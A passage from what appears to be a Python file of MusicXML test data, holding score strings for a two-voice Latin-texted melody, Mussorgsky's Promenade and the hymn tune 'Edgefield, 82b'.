<syllabic>begin</syllabic>
<text>do</text>
</lyric>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
</note>
<backup>
<duration>24</duration>
</backup>
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>2</voice>
<type>eighth</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>2</voice>
<type>eighth</type>
<stem>down</stem>
</note>
</measure>
<measure number="5">
<note>
<pitch>
<step>C</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">end</beam>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<rest/>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
</note>
<note>
<pitch>
<step>B</step>
<alter>-1</alter>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
</note>
<backup>
<duration>24</duration>
</backup>
<note>
<pitch>
<step>C</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>2</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>2</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<rest/>
<duration>4</duration>
<voice>2</voice>
<type>eighth</type>
</note>
<note>
<pitch>
<step>B</step>
<alter>-1</alter>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>2</voice>
<type>eighth</type>
<stem>down</stem>
</note>
</measure>
<measure number="6">
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>C</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>G</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<backup>
<duration>24</duration>
</backup>
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>2</voice>
<type>eighth</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>C</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>2</voice>
<type>eighth</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>G</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem>down</stem>
</note>
</measure>
<measure number="7">
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>C</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">continue</beam>
<lyric number="1">
<syllabic>middle</syllabic>
<text>mi</text>
</lyric>
</note>
<note>
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">continue</beam>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">end</beam>
</note>
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<backup>
<duration>24</duration>
</backup>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>2</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>C</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>2</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">continue</beam>
</note>
<note>
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>2</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">continue</beam>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>2</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem>down</stem>
</note>
</measure>
<measure number="8">
<note>
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>24</duration>
<voice>1</voice>
<type>half</type>
<dot/>
<stem>down</stem>
<lyric number="1">
<syllabic>end</syllabic>
<text>num.</text>
</lyric>
</note>
<backup>
<duration>24</duration>
</backup>
<note>
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>24</duration>
<voice>2</voice>
<type>half</type>
<dot/>
<stem>down</stem>
</note>
<barline location="right">
<bar-style>light-light</bar-style>
</barline>
</measure>
<measure number="9">
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>12</duration>
<voice>1</voice>
<type>quarter</type>
<dot/>
<stem>up</stem>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>B</step>
<alter>-1</alter>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<backup>
<duration>24</duration>
</backup>
<note>
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>2</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>2</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
<note>
<pitch>
<step>G</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem>down</stem>
</note>
</measure>
<measure number="10">
<note>
<pitch>
<step>C</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>G</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">end</beam>
</note>
<note>
<pitch>
<step>B</step>
<alter>-1</alter>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<backup>
<duration>24</duration>
</backup>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>2</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>2</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
<note>
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem>down</stem>
</note>
</measure>
<measure number="11">
<note>
<pitch>
<step>B</step>
<alter>-1</alter>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>C</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>B</step>
<alter>-1</alter>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">end</beam>
</note>
<note>
<pitch>
<step>G</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<notations>
<fermata type="upright"/>
</notations>
</note>
<backup>
<duration>24</duration>
</backup>
<note>
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>C</step>
<octave>3</octave>
</pitch>
<duration>16</duration>
<voice>2</voice>
<type>half</type>
<stem>down</stem>
<notations>
<fermata type="inverted"/>
</notations>
</note>
</measure>
<measure number="12">
<note>
<pitch>
<step>C</step>
<octave>3</octave>
</pitch>
<duration>16</duration>
<voice>1</voice>
<type>half</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>B</step>
<alter>-1</alter>
<octave>2</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<backup>
<duration>24</duration>
</backup>
<note>
<pitch>
<step>G</step>
<octave>3</octave>
</pitch>
<duration>12</duration>
<voice>2</voice>
<type>quarter</type>
<dot/>
<stem>down</stem>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>2</voice>
<type>eighth</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem>down</stem>
</note>
</measure>
<measure number="13">
<note>
<pitch>
<step>A</step>
<octave>2</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>12</duration>
<voice>1</voice>
<type>quarter</type>
<dot/>
<stem>up</stem>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
</note>
<backup>
<duration>24</duration>
</backup>
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>16</duration>
<voice>2</voice>
<type>half</type>
<stem>down</stem>
</note>
</measure>
<measure number="14">
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<tie type="start"/>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">end</beam>
<notations>
<tied type="start"/>
</notations>
</note>
<backup>
<duration>24</duration>
</backup>
<note>
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>16</duration>
<voice>2</voice>
<type>half</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>C</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<tie type="start"/>
<voice>2</voice>
<type>quarter</type>
<stem>down</stem>
<notations>
<tied type="start"/>
</notations>
</note>
</measure>
<measure number="15">
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<tie type="stop"/>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">begin</beam>
<notations>
<tied type="stop"/>
</notations>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">end</beam>
</note>
<note>
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>C</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
</note>
<backup>
<duration>24</duration>
</backup>
<note>
<pitch>
<step>C</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<tie type="stop"/>
<voice>2</voice>
<type>quarter</type>
<stem>down</stem>
<notations>
<tied type="stop"/>
</notations>
</note>
<note>
<pitch>
<step>B</step>
<alter>-1</alter>
<octave>2</octave>
</pitch>
<duration>16</duration>
<voice>2</voice>
<type>half</type>
<stem>down</stem>
</note>
</measure>
<measure number="16">
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>16</duration>
<voice>1</voice>
<type>half</type>
<stem>up</stem>
<notations>
<fermata type="upright"/>
</notations>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<backup>
<duration>24</duration>
</backup>
<note>
<pitch>
<step>A</step>
<octave>2</octave>
</pitch>
<duration>16</duration>
<voice>2</voice>
<type>half</type>
<stem>down</stem>
<notations>
<fermata type="inverted"/>
</notations>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
</note>
</measure>
<measure number="17">
<note>
<pitch>
<step>A</step>
<octave>2</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>12</duration>
<voice>1</voice>
<type>quarter</type>
<dot/>
<stem>up</stem>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
</note>
<backup>
<duration>24</duration>
</backup>
<note>
<pitch>
<step>C</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>16</duration>
<voice>2</voice>
<type>half</type>
<stem>down</stem>
</note>
</measure>
</part>
</score-partwise>
"""
moussorgskyPromenade = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE score-partwise PUBLIC "-//Recordare//DTD MusicXML 2.0 Partwise//EN"
"http://www.musicxml.org/dtds/partwise.dtd">
<score-partwise version="2.0">
<part-list>
<score-part id="P1">
<part-name print-object="no">MusicXML Part</part-name>
<score-instrument id="P1-I2">
<instrument-name>MusicXML Default</instrument-name>
</score-instrument>
<midi-instrument id="P1-I2">
<midi-channel>1</midi-channel>
<midi-program>1</midi-program>
</midi-instrument>
</score-part>
</part-list>
<!--=========================================================-->
<part id="P1">
<measure number="1" width="328">
<attributes>
<divisions>2</divisions>
<key>
<fifths>-2</fifths>
<mode>major</mode>
</key>
<time>
<beats>5</beats>
<beat-type>4</beat-type>
</time>
<staves>2</staves>
<clef number="1">
<sign>G</sign>
<line>2</line>
</clef>
<clef number="2">
<sign>F</sign>
<line>4</line>
</clef>
</attributes>
<sound tempo="120"/>
<direction placement="below">
<direction-type>
<dynamics default-y="-75">
<f/>
</dynamics>
</direction-type>
<staff>1</staff>
</direction>
<note default-x="120">
<pitch>
<step>G</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="6">up</stem>
<staff>1</staff>
</note>
<note default-x="158">
<pitch>
<step>F</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="0">up</stem>
<staff>1</staff>
<notations>
<articulations>
<tenuto default-x="1" default-y="-46" placement="below"/>
</articulations>
</notations>
</note>
<note default-x="197">
<pitch>
<step>B</step>
<alter>-1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-55">down</stem>
<staff>1</staff>
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<articulations>
<tenuto default-x="0" default-y="-5" placement="above"/>
</articulations>
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</note>
<note default-x="235">
<pitch>
<step>C</step>
<octave>5</octave>
</pitch>
<duration>1</duration>
<voice>1</voice>
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<stem default-y="-50">down</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<notations>
<slur number="1" placement="above" type="start"/>
<articulations>
<tenuto default-x="1" default-y="-5" placement="above"/>
</articulations>
</notations>
</note>
<note default-x="260">
<pitch>
<step>F</step>
<octave>5</octave>
</pitch>
<duration>1</duration>
<voice>1</voice>
<type>eighth</type>
<stem default-y="-44.5">down</stem>
<staff>1</staff>
<beam number="1">end</beam>
</note>
<note default-x="283">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-45">down</stem>
<staff>1</staff>
<notations>
<slur number="1" type="stop"/>
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<tenuto default-x="0" default-y="5" placement="above"/>
</articulations>
</notations>
</note>
<backup>
<duration>10</duration>
</backup>
<note>
<rest/>
<duration>10</duration>
<voice>3</voice>
<staff>2</staff>
</note>
<barline location="right">
<bar-style>light-light</bar-style>
</barline>
</measure>
<!--=======================================================-->
<measure number="2" width="291">
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<time>
<beats>6</beats>
<beat-type>4</beat-type>
</time>
</attributes>
<note default-x="44">
<pitch>
<step>C</step>
<octave>5</octave>
</pitch>
<duration>1</duration>
<voice>1</voice>
<type>eighth</type>
<stem default-y="-50">down</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<notations>
<slur number="1" placement="above" type="start"/>
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<tenuto default-x="0" default-y="-5" placement="above"/>
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</note>
<note default-x="68">
<pitch>
<step>F</step>
<octave>5</octave>
</pitch>
<duration>1</duration>
<voice>1</voice>
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<stem default-y="-44.5">down</stem>
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<beam number="1">end</beam>
</note>
<note default-x="92">
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<step>D</step>
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<type>quarter</type>
<stem default-y="-45">down</stem>
<staff>1</staff>
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<slur number="1" type="stop"/>
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<tenuto default-x="0" default-y="5" placement="above"/>
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</note>
<note default-x="131">
<pitch>
<step>B</step>
<alter>-1</alter>
<octave>4</octave>
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<stem default-y="-55">down</stem>
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<notations>
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<tenuto default-x="0" default-y="-5" placement="above"/>
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</note>
<note default-x="169">
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<step>C</step>
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<voice>1</voice>
<type>quarter</type>
<stem default-y="-50">down</stem>
<staff>1</staff>
<notations>
<articulations>
<tenuto default-x="0" default-y="-5" placement="above"/>
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</note>
<note default-x="207">
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<step>G</step>
<octave>4</octave>
</pitch>
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<voice>1</voice>
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<stem default-y="6">up</stem>
<staff>1</staff>
<notations>
<articulations>
<tenuto default-x="1" default-y="-45" placement="below"/>
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<note default-x="247">
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<step>F</step>
<octave>4</octave>
</pitch>
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<voice>1</voice>
<type>quarter</type>
<stem default-y="0">up</stem>
<staff>1</staff>
<notations>
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<tenuto default-x="0" default-y="-46" placement="below"/>
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<duration>12</duration>
</backup>
<note>
<rest/>
<duration>12</duration>
<voice>3</voice>
<staff>2</staff>
</note>
<barline location="right">
<bar-style>light-light</bar-style>
</barline>
</measure>
<!--=======================================================-->
<measure number="3" width="263">
<attributes>
<time>
<beats>5</beats>
<beat-type>4</beat-type>
</time>
</attributes>
<note default-x="47">
<pitch>
<step>B</step>
<alter>-1</alter>
<octave>3</octave>
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<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="6">up</stem>
<staff>1</staff>
</note>
<note default-x="47">
<chord/>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<staff>1</staff>
</note>
<note default-x="47">
<chord/>
<pitch>
<step>G</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<staff>1</staff>
</note>
<note default-x="87">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="0">up</stem>
<staff>1</staff>
</note>
<note default-x="87">
<chord/>
<pitch>
<step>C</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<staff>1</staff>
</note>
<note default-x="87">
<chord/>
<pitch>
<step>F</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<staff>1</staff>
</note>
<note default-x="126">
<pitch>
<step>B</step>
<alter>-1</alter>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="16">up</stem>
<staff>1</staff>
</note>
<note default-x="126">
<chord/>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<staff>1</staff>
</note>
<note default-x="126">
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<pitch>
<step>B</step>
<alter>-1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<staff>1</staff>
</note>
<note default-x="165">
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<voice>1</voice>
<type>quarter</type>
<stem default-y="-79">down</stem>
<staff>1</staff>
</note>
<note default-x="165">
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<octave>4</octave>
</pitch>
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<voice>1</voice>
<type>quarter</type>
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<staff>1</staff>
</note>
<note default-x="217">
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<type>quarter</type>
<stem default-y="-64">down</stem>
<staff>1</staff>
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<note default-x="217">
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<step>A</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<staff>1</staff>
</note>
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</backup>
<forward>
<duration>6</duration>
<voice>2</voice>
<staff>1</staff>
</forward>
<note default-x="165">
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<duration>1</duration>
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<type>eighth</type>
<stem default-y="30">up</stem>
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<stem default-y="19">up</stem>
<staff>1</staff>
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<slur number="1" type="stop"/>
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<duration>10</duration>
</backup>
<note default-x="47">
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<step>G</step>
<octave>2</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>quarter</type>
<stem default-y="24">up</stem>
<staff>2</staff>
</note>
<note default-x="47">
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<step>G</step>
<octave>3</octave>
</pitch>
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<voice>3</voice>
<type>quarter</type>
<stem>up</stem>
<staff>2</staff>
</note>
<note default-x="87">
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<voice>3</voice>
<type>quarter</type>
<stem default-y="18.5">up</stem>
<staff>2</staff>
</note>
<note default-x="87">
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<step>F</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>quarter</type>
<stem>up</stem>
<staff>2</staff>
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<note default-x="126">
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<voice>3</voice>
<type>quarter</type>
<stem default-y="24">up</stem>
<staff>2</staff>
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<note default-x="126">
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<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>quarter</type>
<stem>up</stem>
<staff>2</staff>
</note>
<note default-x="165">
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<voice>3</voice>
<type>quarter</type>
<stem default-y="18.5">up</stem>
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<voice>3</voice>
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<stem>up</stem>
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<type>quarter</type>
<stem>up</stem>
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</note>
<barline location="right">
<bar-style>light-light</bar-style>
</barline>
</measure>
<!--=======================================================-->
<measure number="4" width="332">
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<time>
<beats>6</beats>
<beat-type>4</beat-type>
</time>
</attributes>
<note default-x="47">
<pitch>
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<stem default-y="-79">down</stem>
<staff>1</staff>
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<note default-x="47">
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<voice>1</voice>
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<stem>up</stem>
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<note default-x="138">
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<alter>-1</alter>
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<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<staff>1</staff>
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<note default-x="177">
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<type>quarter</type>
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<stem default-y="14">up</stem>
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</note>
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<octave>4</octave>
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<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<staff>1</staff>
</note>
<note default-x="177">
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<voice>1</voice>
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<stem>up</stem>
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</note>
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<stem default-y="6">up</stem>
<staff>1</staff>
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<note default-x="217">
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<octave>4</octave>
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<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<staff>1</staff>
</note>
<note default-x="217">
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<octave>4</octave>
</pitch>
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<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<staff>1</staff>
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<note default-x="256">
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<octave>3</octave>
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<type>quarter</type>
<stem default-y="0">up</stem>
<staff>1</staff>
</note>
<note default-x="256">
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<step>C</step>
<octave>4</octave>
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<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<staff>1</staff>
</note>
<note default-x="256">
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<step>F</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<staff>1</staff>
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<duration>12</duration>
</backup>
<note default-x="47">
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<octave>5</octave>
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<stem default-y="30">up</stem>
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<octave>5</octave>
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<type>quarter</type>
<stem default-y="19">up</stem>
<staff>1</staff>
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<note default-x="47">
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</pitch>
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<type>quarter</type>
<stem default-y="18.5">up</stem>
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<note default-x="47">
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<octave>3</octave>
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<voice>3</voice>
<type>quarter</type>
<stem>up</stem>
<staff>2</staff>
</note>
<note default-x="99">
<pitch>
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<alter>-1</alter>
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<staff>2</staff>
</note>
<note default-x="99">
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<step>B</step>
<alter>-1</alter>
<octave>3</octave>
</pitch>
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<voice>3</voice>
<type>quarter</type>
<stem>down</stem>
<staff>2</staff>
</note>
<note default-x="138">
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<type>quarter</type>
<stem default-y="24">up</stem>
<staff>2</staff>
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<note default-x="138">
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<octave>3</octave>
</pitch>
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<voice>3</voice>
<type>quarter</type>
<stem>up</stem>
<staff>2</staff>
</note>
<note default-x="177">
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<voice>3</voice>
<type>quarter</type>
<stem default-y="10.5">up</stem>
<staff>2</staff>
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<note default-x="177">
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<voice>3</voice>
<type>quarter</type>
<stem>up</stem>
<staff>2</staff>
</note>
<note default-x="217">
<pitch>
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<octave>2</octave>
</pitch>
<duration>2</duration>
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<note default-x="217">
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<type>quarter</type>
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<note default-x="256">
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<stem>up</stem>
<staff>2</staff>
</note>
<barline location="right">
<bar-style>light-light</bar-style>
</barline>
</measure>
</part>
<!--=========================================================-->
</score-partwise>
"""
edgefield82b = """<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE score-partwise PUBLIC "-//Recordare//DTD MusicXML 1.1 Partwise//EN" "http://www.musicxml.org/dtds/partwise.dtd">
<score-partwise>
<work>
<work-title >EDGEFIELD, 82b</work-title>
</work>
<part-list>
<score-part id="P1">
<part-name font-family="Arial" font-size="10" font-weight="normal" font-style="normal">treble</part-name>
<part-abbreviation font-family="Arial" font-size="10" font-weight="normal" font-style="normal"></part-abbreviation>
<score-instrument id="P1-I1">
<instrument-name>Instr 20</instrument-name>
</score-instrument>
</score-part>
<score-part id="P2">
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<part-abbreviation font-family="Arial" font-size="10" font-weight="normal" font-style="normal"></part-abbreviation>
<score-instrument id="P2-I1">
<instrument-name>Instr 22</instrument-name>
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<part-name font-family="Arial" font-size="10" font-weight="normal" font-style="normal">bass</part-name>
<part-abbreviation font-family="Arial" font-size="10" font-weight="normal" font-style="normal"></part-abbreviation>
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<part id="P1">
<!--==========================[1,1]=============================-->
<measure number="1" width="188">
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<rest>
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<duration>20160</duration>
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<stem default-y="-50.00">down</stem>
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<!--==========================[1,2]=============================-->
<measure number="2" width="173">
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<stem default-y="-35.00">down</stem>
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<note>
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<step>D</step>
<octave>5</octave>
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<duration>6720</duration>
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<stem default-y="-45.00">down</stem>
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<note>
<pitch>
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<stem default-y="-50.00">down</stem>
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<note>
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<!--==========================[1,3]=============================-->
<measure number="3" width="93">
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<stem default-y="-50.00">down</stem>
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<note>
<pitch>
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<stem default-y="-50.00">down</stem>
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<!--==========================[1,4]=============================-->
<measure number="4" width="178">
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<duration>6720</duration>
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<stem default-y="-50.00">down</stem>
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<note>
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<note>
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<octave>5</octave>
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<voice>1</voice>
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<stem default-y="-35.00">down</stem>
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<note>
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<!--==========================[1,5]=============================-->
<measure number="5" width="90">
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<stem default-y="-35.00">down</stem>
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<!--==========================[1,6]=============================-->
<measure number="6" width="176">
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<!--==========================[1,7]=============================-->
<measure number="7" width="96">
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<note>
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<stem default-y="-50.00">down</stem>
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<!--==========================[1,8]=============================-->
<measure number="8" width="181">
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<note>
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<!--==========================[1,9]=============================-->
<measure number="9" width="86">
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<note>
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<note>
<chord/>
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<!--==========================[1,10]=============================-->
<measure number="10" width="173">
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<!--==========================[1,11]=============================-->
<measure number="11" width="80">
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<!--==========================[2,1]=============================-->
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<!--==========================[2,2]=============================-->
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<!--==========================[2,3]=============================-->
